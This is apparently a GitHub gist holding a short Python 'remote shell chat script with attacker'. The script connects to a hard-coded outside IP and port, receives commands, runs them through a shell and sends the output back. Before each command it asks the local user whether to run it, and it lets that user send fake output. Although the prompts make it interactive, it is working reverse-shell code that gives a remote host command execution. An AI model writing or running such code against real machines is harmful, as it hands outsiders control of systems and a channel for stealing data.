Last active
January 5, 2023 09:20
-
-
Save jossef/cb4db2a80336633e15a41e5601c7235f to your computer and use it in GitHub Desktop.
remote shell chat script with attacker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| import subprocess | |
| def main(): | |
| ip_address = '3.221.152.203' | |
| port = 771 | |
| print(f'connecting to {ip_address}:{port}') | |
| sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| server_address = (ip_address, port) | |
| sock.connect(server_address) | |
| while True: | |
| data = sock.recv(2048) | |
| command = data.decode() | |
| print(f'received command from attacker: {command}') | |
| if input(f'execute command?: ').lower() not in {'y', 'yes'}: | |
| stdout = input(f'fake output: ') | |
| stdout = stdout.encode() | |
| sock.sendall(stdout) | |
| continue | |
| process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) | |
| stdout, stderr = process.communicate() | |
| print(f'command output: {stdout.decode()}') | |
| if input(f'send command output?: ').lower() not in {'y', 'yes'}: | |
| break | |
| sock.sendall(stdout) | |
| sock.close() | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment